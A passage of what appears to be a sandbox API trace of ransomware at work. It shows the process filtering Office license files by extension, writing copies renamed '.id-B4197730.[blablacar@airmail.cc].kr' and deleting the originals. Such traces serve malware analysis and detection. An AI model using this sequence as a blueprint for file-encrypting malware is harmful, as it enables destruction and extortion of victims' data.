lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.685] lstrlenW (lpString=".doc") returned 4 [0193.685] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.685] lstrlenW (lpString=".docx") returned 5 [0193.686] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.686] lstrlenW (lpString=".pdf") returned 4 [0193.686] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString=".xls") returned 4 [0193.686] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString=".xlsx") returned 5 [0193.686] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.686] lstrlenW (lpString=".ppt") returned 4 [0193.686] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.686] lstrlenW (lpString=".zip") returned 4 [0193.686] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString=".rar") returned 4 [0193.686] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString=".bz2") returned 4 [0193.686] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString=".7z") returned 3 [0193.686] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.686] lstrlenW (lpString=".dbf") returned 4 [0193.686] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.686] lstrlenW (lpString=".1cd") returned 4 [0193.686] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.686] lstrlenW (lpString=".jpg") returned 4 [0193.686] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.687] lstrlenW (lpString=".doc") returned 4 [0193.687] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString=".docx") returned 5 [0193.687] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.687] lstrlenW (lpString=".pdf") returned 4 [0193.687] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString=".xls") returned 4 [0193.687] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString=".xlsx") returned 5 [0193.687] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.687] lstrlenW (lpString=".ppt") returned 4 [0193.687] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.687] lstrlenW (lpString=".zip") returned 4 [0193.687] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString=".rar") returned 4 [0193.687] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString=".bz2") returned 4 [0193.687] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString=".7z") returned 3 [0193.687] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.687] lstrlenW (lpString=".dbf") returned 4 [0193.687] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.688] lstrlenW (lpString=".1cd") returned 4 [0193.688] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0193.688] lstrlenW (lpString=".jpg") returned 4 [0193.688] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.688] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.688] lstrlenW (lpString="ExcelR_Retail-ul-phn.xrm-ms") returned 27 [0193.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.699] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19919) returned 1 [0193.699] CloseHandle (hObject=0x450) returned 1 [0193.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0193.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.700] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.700] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.701] GetLastError () returned 0x0 [0193.701] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0193.703] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0193.704] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.704] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10a, lpOverlapped=0x0) returned 1 [0193.705] SetEndOfFile (hFile=0x520) returned 1 [0193.705] CloseHandle (hObject=0x520) returned 1 [0193.705] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.705] SetEndOfFile (hFile=0x450) returned 1 [0193.708] CloseHandle (hObject=0x450) returned 1 [0193.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0193.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.709] lstrlenW (lpString=".doc") returned 4 [0193.709] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.709] lstrlenW (lpString=".docx") returned 5 [0193.709] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.709] lstrlenW (lpString=".pdf") returned 4 [0193.709] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.709] lstrlenW (lpString=".xls") returned 4 [0193.709] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.709] lstrlenW (lpString=".xlsx") returned 5 [0193.709] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.709] lstrlenW (lpString=".ppt") returned 4 [0193.710] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.710] lstrlenW (lpString=".zip") returned 4 [0193.710] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString=".rar") returned 4 [0193.710] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString=".bz2") returned 4 [0193.710] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString=".7z") returned 3 [0193.710] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.710] lstrlenW (lpString=".dbf") returned 4 [0193.710] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.710] lstrlenW (lpString=".1cd") returned 4 [0193.710] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.710] lstrlenW (lpString=".jpg") returned 4 [0193.710] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.710] lstrlenW (lpString=".doc") returned 4 [0193.710] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.710] lstrlenW (lpString=".docx") returned 5 [0193.710] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.710] lstrlenW (lpString=".pdf") returned 4 [0193.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString=".xls") returned 4 [0193.711] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString=".xlsx") returned 5 [0193.711] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.711] lstrlenW (lpString=".ppt") returned 4 [0193.711] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.711] lstrlenW (lpString=".zip") returned 4 [0193.711] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString=".rar") returned 4 [0193.711] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString=".bz2") returned 4 [0193.711] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString=".7z") returned 3 [0193.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.711] lstrlenW (lpString=".dbf") returned 4 [0193.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.711] lstrlenW (lpString=".1cd") returned 4 [0193.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0193.711] lstrlenW (lpString=".jpg") returned 4 [0193.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.711] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.712] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23 [0193.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.712] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20967) returned 1 [0193.712] CloseHandle (hObject=0x450) returned 1 [0193.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0193.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.713] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.713] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.714] GetLastError () returned 0x0 [0193.714] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x51e7, lpOverlapped=0x0) returned 1 [0193.717] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x51f0, lpOverlapped=0x0) returned 1 [0193.719] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.719] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x102, lpOverlapped=0x0) returned 1 [0193.719] SetEndOfFile (hFile=0x520) returned 1 [0193.719] CloseHandle (hObject=0x520) returned 1 [0193.719] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.719] SetEndOfFile (hFile=0x450) returned 1 [0193.809] CloseHandle (hObject=0x450) returned 1 [0193.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0194.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.224] lstrlenW (lpString=".doc") returned 4 [0194.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString=".docx") returned 5 [0194.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.224] lstrlenW (lpString=".pdf") returned 4 [0194.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString=".xls") returned 4 [0194.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString=".xlsx") returned 5 [0194.224] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.224] lstrlenW (lpString=".ppt") returned 4 [0194.224] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.224] lstrlenW (lpString=".zip") returned 4 [0194.224] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString=".rar") returned 4 [0194.224] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString=".bz2") returned 4 [0194.224] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString=".7z") returned 3 [0194.224] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.224] lstrlenW (lpString=".dbf") returned 4 [0194.224] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.224] lstrlenW (lpString=".1cd") returned 4 [0194.224] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.224] lstrlenW (lpString=".jpg") returned 4 [0194.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.225] lstrlenW (lpString=".doc") returned 4 [0194.225] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString=".docx") returned 5 [0194.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.225] lstrlenW (lpString=".pdf") returned 4 [0194.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString=".xls") returned 4 [0194.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString=".xlsx") returned 5 [0194.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.225] lstrlenW (lpString=".ppt") returned 4 [0194.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.225] lstrlenW (lpString=".zip") returned 4 [0194.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString=".rar") returned 4 [0194.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString=".bz2") returned 4 [0194.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString=".7z") returned 3 [0194.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.225] lstrlenW (lpString=".dbf") returned 4 [0194.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.225] lstrlenW (lpString=".1cd") returned 4 [0194.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0194.226] lstrlenW (lpString=".jpg") returned 4 [0194.226] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.226] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.226] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22 [0194.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0194.731] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6795) returned 1 [0194.749] CloseHandle (hObject=0x500) returned 1 [0194.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0194.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0194.766] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.766] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0194.767] GetLastError () returned 0x0 [0194.767] ReadFile (in: hFile=0x500, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0194.769] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0194.770] ReadFile (in: hFile=0x500, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.770] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x100, lpOverlapped=0x0) returned 1 [0194.771] SetEndOfFile (hFile=0x534) returned 1 [0194.771] CloseHandle (hObject=0x534) returned 1 [0194.771] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.771] SetEndOfFile (hFile=0x500) returned 1 [0194.774] CloseHandle (hObject=0x500) returned 1 [0194.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0194.775] lstrlenW (lpString="C:\\Program Files\\Microsoft 